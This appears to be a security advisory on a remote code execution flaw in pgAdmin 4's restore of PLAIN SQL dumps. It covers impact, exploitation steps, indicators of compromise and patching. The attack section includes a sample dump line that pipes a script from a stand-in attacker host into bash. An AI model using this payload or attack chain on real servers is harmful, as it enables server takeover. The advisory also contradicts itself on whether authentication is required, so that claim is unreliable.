CVE-2025-12762: 
Python vulnerability analysis and mitigation

CVE-2025-12762 is a Remote Code Execution (RCE) vulnerability in pgAdmin 4 (versions up to and including 9.9) that occurs when the application is running in server mode and performing restore operations from PLAIN-format SQL dump files. Attackers can inject and execute arbitrary commands on the server hosting pgAdmin without authentication. The vulnerability was published on November 13, 2025, with a patch released in pgAdmin 4 version 9.10. It carries a CVSS v3.1 base score of 9.8 (Critical) per NVD, and 9.1 (Critical) per the GitHub Advisory (GitHub Advisory, pgAdmin Issue).

The root cause is improper control of code generation (CWE-94), where pgAdmin fails to sanitize or block meta-commands embedded within PLAIN-format PostgreSQL dump files before passing them to the restore process. When a user initiates a restore operation in server mode using a maliciously crafted PLAIN SQL dump file containing psql meta-commands (e.g., \! shell escape commands), those commands are executed on the server without validation. The fix, tracked in milestone 9.10, blocks the restore operation if the PLAIN SQL file contains any meta-commands (GitHub Advisory, pgAdmin Issue). The attack vector is network-based with low attack complexity, and exploitation requires low privileges (a valid pgAdmin account) according to the GitHub Advisory scoring.

Successful exploitation allows an attacker to execute arbitrary operating system commands on the server hosting pgAdmin, resulting in full compromise of confidentiality, integrity, and availability of the affected system. An attacker could exfiltrate sensitive database credentials and data, modify or destroy database contents, install backdoors or malware, and use the compromised server as a pivot point for lateral movement within the network. The underlying PostgreSQL databases and all data managed through the pgAdmin instance are at critical risk (GitHub Advisory, Feedly).

Public proof-of-concept (PoC) exploit code is available on GitHub at https://github.com/B1ack4sh/Blackash-CVE-2025-12762, with an additional fork at https://github.com/djayaGit/Blackash-CVE-2025-12762 added in March 2026 (Feedly). Active exploitation has been reported by multiple sources. The EPSS score is approximately 0.09–0.22%, and the vulnerability is detected by Qualys scanners (detection IDs: 5006211, 385955, 530679, 287872). No specific threat actor attribution has been publicly confirmed, and the vulnerability does not appear in the CISA KEV catalog as of the available data (GitHub Advisory).

1. Reconnaissance: Identify internet-facing pgAdmin 4 instances running in server mode (versions ≤ 9.9) using tools like Shodan or Censys, searching for pgAdmin web interfaces.
2. Obtain credentials: Acquire valid pgAdmin credentials through phishing, credential stuffing, or other means, as the exploit requires low-level authenticated access.
3. Craft malicious dump file: Create a PLAIN-format PostgreSQL dump file (.sql) containing embedded psql meta-commands that execute OS commands, for example:

   -- Standard SQL content
   \! id > /tmp/pwned.txt
   \! curl http://attacker.com/shell.sh | bash

4. Upload and trigger restore: Log into the pgAdmin web interface, navigate to the restore functionality, upload the crafted PLAIN SQL dump file, and initiate the restore operation.
5. Achieve code execution: pgAdmin passes the dump file to the restore process without filtering meta-commands, causing the embedded shell commands to execute on the server as the pgAdmin service account, enabling reverse shell, data exfiltration, or persistence (GitHub Advisory, pgAdmin Issue).

• Network: Unexpected outbound connections from the pgAdmin server to unknown external IPs or domains following a restore operation; HTTP requests to pgAdmin restore endpoints with unusual file uploads.
• File System: Presence of unexpected files (e.g., web shells, scripts) in the pgAdmin installation directory or /tmp; newly created files owned by the pgAdmin service account in unusual locations.
• Logs: pgAdmin application logs showing restore operations initiated with PLAIN-format dump files from untrusted sources; OS-level audit logs recording unexpected command execution by the pgAdmin process.
• Process: Unusual child processes spawned by the pgAdmin Python/web server process (e.g., /bin/sh, bash, curl, wget, python) following a restore operation; unexpected network connections initiated by these child processes (GitHub Advisory).

Upgrade pgAdmin 4 to version 9.10 or later, which blocks restore operations when PLAIN SQL dump files contain meta-commands (GitHub Advisory, pgAdmin Issue). As interim workarounds: disable server mode if not required, restrict access to the pgAdmin interface to trusted users and networks, and prohibit restore operations from untrusted or externally sourced PLAIN-format dump files. Monitor pgAdmin servers for suspicious restore activity and unexpected process execution. Fedora packages for pgAdmin4 have also been updated to address this vulnerability (Linux Security).

The vulnerability received notable coverage from cybersecurity news outlets including CyberSecurityNews and SecurityOnline, which highlighted the critical severity and ease of exploitation (CyberSecurityNews). The Belgian Centre for Cybersecurity (CCB) issued a warning urging immediate patching (CCB Advisory). The Hacker News included it in their weekly security recap. The CVE trended in the r/CVEWatch community on Reddit across multiple days following disclosure, and security researchers on Mastodon and Bluesky flagged it as a high-priority patch. Check Point also published a defense advisory (CPAI-2025-4710) covering the vulnerability (Check Point).